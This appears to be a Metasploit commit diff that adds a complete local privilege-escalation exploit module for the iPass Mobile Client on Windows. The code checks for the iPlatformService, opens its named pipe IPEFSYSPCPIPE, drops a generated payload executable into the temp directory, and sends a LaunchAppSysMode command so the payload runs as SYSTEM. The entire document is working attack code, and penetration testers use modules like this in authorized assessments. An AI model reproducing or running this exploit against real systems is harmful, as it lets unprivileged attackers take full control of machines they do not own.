Land rapid7#4928, @h0ng10's local exploit for iPass Mobile Client

Author: jvazquez-r7

modules/exploits/windows/local/ipass_launch_app.rb

@@ -0,0 +1,181 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::EXE
+  include Msf::Post::File
+  include Msf::Exploit::FileDropper
+  include Msf::Post::Windows::Priv
+  include Msf::Post::Windows::Services
+
+  def initialize(info={})
+    super(update_info(info, {
+      'Name'            => 'iPass Mobile Client Service Privilege Escalation',
+      'Description'     => %q{
+        The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
+        with the iPass service. The service provides a LaunchAppSysMode command which
+        allows to execute arbitrary commands as SYSTEM.
+      },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'h0ng10' # Vulnerability discovery, metasploit module
+        ],
+      'Arch'            => ARCH_X86,
+      'Platform'        => 'win',
+      'SessionTypes'    => ['meterpreter'],
+      'DefaultOptions'  =>
+        {
+          'EXITFUNC'    => 'thread',
+        },
+      'Targets'         =>
+        [
+          [ 'Windows', { } ]
+        ],
+      'Payload'         =>
+        {
+          'Space'       => 2048,
+          'DisableNops' => true
+        },
+      'References'      =>
+        [
+          ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt']
+        ],
+      'DisclosureDate' => 'Mar 12 2015',
+      'DefaultTarget'  => 0
+    }))
+
+    register_options([
+      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)'])
+    ], self.class)
+
+  end
+
+  def check
+    os = sysinfo['OS']
+
+    unless os =~ /windows/i
+      return Exploit::CheckCode::Safe
+    end
+
+    svc = service_info('iPlatformService')
+    if svc && svc[:display] =~ /iPlatformService/
+      vprint_good("Found service '#{svc[:display]}'")
+      if is_running?
+        vprint_good('Service is running')
+      else
+        vprint_error('Service is not running!')
+      end
+
+      vprint_good('Opening named pipe...')
+      handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
+
+      if handle.nil?
+        vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
+        return Exploit::CheckCode::Safe
+      else
+        vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!')
+        session.railgun.kernel32.CloseHandle(handle)
+      end
+
+      return Exploit::CheckCode::Vulnerable
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+
+  def open_named_pipe(pipe)
+    invalid_handle_value = 0xFFFFFFFF
+
+    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
+    handle = r['return']
+
+    return nil if handle == invalid_handle_value
+
+    handle
+  end
+
+  def write_named_pipe(handle, command)
+    buffer = Rex::Text.to_unicode(command)
+    w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil)
+
+    if w['return'] == false
+      print_error('The was an error writing to pipe, check permissions')
+      return false
+    end
+
+    true
+  end
+
+
+  def is_running?
+    begin
+      status = service_status('iPlatformService')
+    rescue RuntimeError => e
+      print_error('Unable to retrieve service status')
+      return false
+    end
+
+    return status && status[:state] == 4
+  end
+
+  def exploit
+    if is_system?
+      fail_with(Failure::NoTarget, 'Session is already elevated')
+    end
+
+    handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
+
+    if handle.nil?
+      fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
+    else
+      print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
+    end
+
+    if datastore['WritableDir'] and not datastore['WritableDir'].empty?
+      temp_dir = datastore['WritableDir']
+    else
+      temp_dir = client.sys.config.getenv('TEMP')
+    end
+
+    print_status("Using #{temp_dir} to drop malicious exe")
+
+    begin
+      cd(temp_dir)
+    rescue Rex::Post::Meterpreter::RequestError
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
+    end
+
+    print_status('Writing malicious exe to remote filesystem')
+    write_path = pwd
+    exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
+
+    begin
+      write_file(exe_name, generate_payload_exe)
+      register_file_for_cleanup("#{write_path}\\#{exe_name}")
+    rescue Rex::Post::Meterpreter::RequestError
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
+    end
+
+    print_status('Sending LauchAppSysMode command')
+
+    begin
+      write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
+    rescue Rex::Post::Meterpreter::RequestError
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::Unknown, 'Failed to write to pipe')
+    end
+
+    unless write_res
+      fail_with(Failure::Unknown, 'Failed to write to pipe')
+    end
+  end
+
+end